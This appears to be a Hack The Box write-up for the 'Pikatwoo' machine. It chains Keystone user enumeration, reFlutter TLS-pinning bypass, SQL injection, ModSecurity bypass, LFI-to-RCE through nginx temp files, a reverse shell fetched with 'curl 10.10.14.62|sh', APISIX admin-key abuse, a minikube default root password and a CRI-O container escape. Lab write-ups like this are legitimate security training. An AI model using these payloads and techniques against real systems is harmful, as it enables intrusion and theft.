Last updated
Last updated
Pikatwoo is an insane machine from Hack The Box that will need to perfom a chain of vulnerabilities in order to gain an initial foothold. Using a vulnerability in OpenStack KeyStone, we can leak a username and use it with OpenStack Switft object storage to get a flutter android application. Using reFlutter to hijack flutter's SSL pinning, can intercept the requests made by the app and find a SQL injection in the API. After dumping the database and find an email address, we use a vulnerability in the APISIX WAF to get documentation to other API. Using the API, we can reset the password for an account and use it. Exploiting a vulnerability to bypass ModSecurity Core WAF, we can get a Local File Inclusion in the API and after abusing nginx temporary files, we can finally get a reverse shell connection in the API pod. When there, we retrieve the APISIX secret from Kubernetes and use it with another vulnerability to get a remote shell connecction from the APISIX pod. Enumerating the pod, we can find credentials for a user and use them to connect into the host using SSH. Using the Cr8Escape technique in CRI-O Container Engine, we can get root in the machine.
Rustscan with nmap show us multiple ports opened, including HTTP (80), HTTPS (443), EPMD (4369) and more.
There are many ports opened, with various HTTP services running, we got the api.pokatmon-app.htb
subdomain in the TLS certificate and the "cluster name" rabbit@pikatwoo.pokatmon.htb
. Lots of ports I have never heard about opened, so I will check the web services first.
After add the domains I found to /etc/hosts I started to fuzz the 80 port.
The fuzzing returned the sames paths but a lot of times because it is case insentive. One of the results is CHANGELOG
.
The file mentions an android app, but my scan didn't found it. So after having done a lot of scan with diferent wordlists and extensions I gave up this port and started to look in the others.
After doing some fuzzing, without success finding the APK directly, I discover the /info
endpoint, which tell us the Swift's version is 2.27.0.
The Swift documentation says you can get an object by acessing it with this path: /v1/{account}/{container}/{object}
. The these parameters are defined in the Wiki:
Account. Represents the top-level of the hierarchy.
Container. Defines a namespace for objects. An object with the same name in two different containers represents two different objects. You can create any number of containers within an account.
Object. Stores data content, such as documents, images, and so on. You can also store custom metadata with an object.
So we can try to leak and brute these parameters in order to get the files in the Swift.
Trying to do the request with the user admin
multiples times I received a return informing the account was locked.
So, to find all the users at keystone you can make the login request with the user desired at 10 times at least.
Ignoring the multiple times we got the admin
user, we got the new user andrew
.
After trying to fuzzing the Swift in so many ways in order to get the file, I decided to read it source code to verify how the server are processing the request.
Downloading the Swift version 2.27.0 source code and searching for account/container/object
in all the files I saw multiples mentions to /v1/AUTH_account/container/object
Trying to fuzz the URL as /v1/AUTH_andrew/FUZZ
we got the android
container.
Accessing the path I got the object name pokatmon-app.apk
and I download it.
Opening the app in jadx-gui, we can see it's a flutter app.
The jadx-gui also extracted the private.pem
and public.pem
from keys
directory. I spent some time doing static analysis on the APK but with no success, so I tried to scan the requests the app are mading.
At first I start a Hotspot with NetworkManager to create a wifi network and connect my cellphone to it to I intercept the traffic with Wireshark.
I ran reFlutter on the .apk to bypass Flutter TLS Pinning and intercept the traffic.
After this I installed the app, clicked on "Join Beta" and got these DNS queries in Wireshark.
It seems the cellphone can't resolve the domains, we need to configure a DNS server on our machine. We can edit the NetworkManager's Hotspot default DNS server (dnsmasq) configuration file to listen at the address of the hotspot gateway.
So, clicking again on "Join Beta" I got a sucefully DNS response from my computer and some TLS data.
To intercept this in Burp Suite, I just follow the steps reFlutter give to me.
Trying to write the simple SQL injection payload ' or 1=1-- -
at the app_beta_code
parameter I got this response:
So. at this moment we got the email roger.foster37@freemail.htb
.
Like the route I just discovered /public/validate
, the server can be using /private/ROUTE
to serve private routes, but when we try to access any route containing private
in path it return us 403 Forbidden.
Trying to URI encode the private
to priv%61te
to try to bypass the block, it returns us a 404 error message.
Now, bruting the /priv%61te/FUZZ
we got two new routes:
Trying to access the route password-reset
with curl doing a simple GET it returns a json informing how to use the API:
Using the API to reset the roger.foster37@freemail.htb
email we got a token:
Changing the request method to POST with the same URL we got an error message informing us we must provide a token:
Providing the token I got in the token
POST parameter the server tell us we must provide the new password:
And providing our new password we got the password reseted:
Accessing the /login
at pokatmon.htb
we got redirect to /docs
.
And we got the new subdomain pokatdex-api-v1.pokatmon-app.htb
and the docs for it.
Trying to send a POST request with region
parameter we got an unknown region
message.
Trying to set debug=true
in data body we got a more useful error message.
It seems it including what we pass in the region
parameter , so we can try to put a path traversal payload in it to see if works.
It seems this server is using the ModSecurity WAF that previous changelog file told to us. So we need a way to bypass it.
So, to we fall in this rule we need:
The path file must be /admin/content/assets/add/anything
;
We need to include the cookie SESSanything=anything
.
Completing these requisites we can succely bypass ModSecurity:
Now we need to get RCE.
This technique exploits the PHP write temporary files if the client body is bigger than a certain threshold.
Modifying the default script to exploit this vuln to use our parameters and path, the result is:
After run the exploit with id
command I got the return:
Now, changing the command to download my reverse shell with curl 10.10.14.62|sh
I got the reverse shell.
Checking the /run/secrets/kubernetes.io/serviceaccount/token
file confirm I was inside a kubernetes pod. Uploading kubectl
to the machine and configuring it to use the token and the api URL:
And we can list retrieve the secrets of the application namespace with k get secrets -o yaml -n application
We got the Apisix Admin Key, which base64 decoded give us a8c2ef5bcc376e991af0b24da29c3a87
.
After download the exploit on my machine, I change the default API on the files to the API I retrived with kubectl, and ran the exploit.
We can list mounts with mount
command:
I saw it mount the /dev/sda2
of the apisix on, /usr/local/apisix/conf/config.yaml so I decided to view it contents:
And we got the credentials andrew:st41rw4y2h34v3n
and can login with SSH:
Looking the other users in the machine, we can list and retrieve some files in the home of the user jeniffer
.
So, copying the files to a tmp directory at /var/tmp/jennifer
with cp -rv /home/jennifer /var/tmp/jennifer
and checking the files with more attention, I noted the .minikube
and the .kube
directories, so I exported the environment variable HOME
to /var/tmp/jennifer
to interact with minikube
and kube
with jeniffer permissions.
Checking the minikube version with minikube version
I got the version 1.28.0.
To find the minikube instance IP I was searching in .minikube
directory for config files and found the .minikube/profiles/minikube/config.json
file, containg the IP 192.168.49.2
.
So, trying to access root@192.168.49.2 with the password root
we log as root at the minikube pod.
So, following the tutorial, I create the file /var/tmp/malicious.sh
in the host which contains:
Changed it permissions with: chmod +x /var/tmp/malicious.sh
And, in the pod, I wrote the malicious pod malicious.yml
And created it with kubectl create -f ./malicious.yml
.
Now, at the host, I just needed to trigger a core dump:
The Openstack Swift is a cloud storage software, similar the AWS Bucket. Acording to , "Swift is ideal for storing unstructured data that can grow without bound.". Seem a nice place to store an APK and distribute to the users. Let's take a look on it.
I spent a while reading the Swift documentation and I discover it can use to authenticate in the API. After a quick read at the Keystone Wiki I discover the /v3/auth/tokens
endpoint.
And now we need to realign, following the , we can use to realign and sign the result apk file.
The program is send a signature
field in authorization
header, trying to use that private key to sign the body of the request with and changing the Message Digest Algorithm manually, we discover a method to sign our request.
Spending a lot of time searching how ModSecurity works, you can find it uses the . Searching about "CRS bypass" we found the , which basically exclude the request body scanning if we sent the request with some requisites.
The vulnerability is in the before the version 3.2.2. Checking the file we can see the rule:
Reading the techniques to escalate to RCE described in I tried to use the technique.
The Pokatdex TLS API send to us on header the APISIX/2.10.1
, which is the APISIX version, searching about this version I found the , which can pass a header which bypass the IP restriction on the APISIX admin and make a custom service to execute a command.
Searching by vulnerabilities in this version, I found a in kubernetes forum informing all the versions before v.1.30.0 are vulnerables to CVE-2023-1944, which uses default password to login the minikube pod with SSH.
The config file is informing the pod is using podman
as the driver. Searching by "podman" "escape" "exploit"
I found an linking to a explaining how to exploit the CRI-O engine to write a malicious payload to the linux kernel which will execute a command when we trigger a core dump.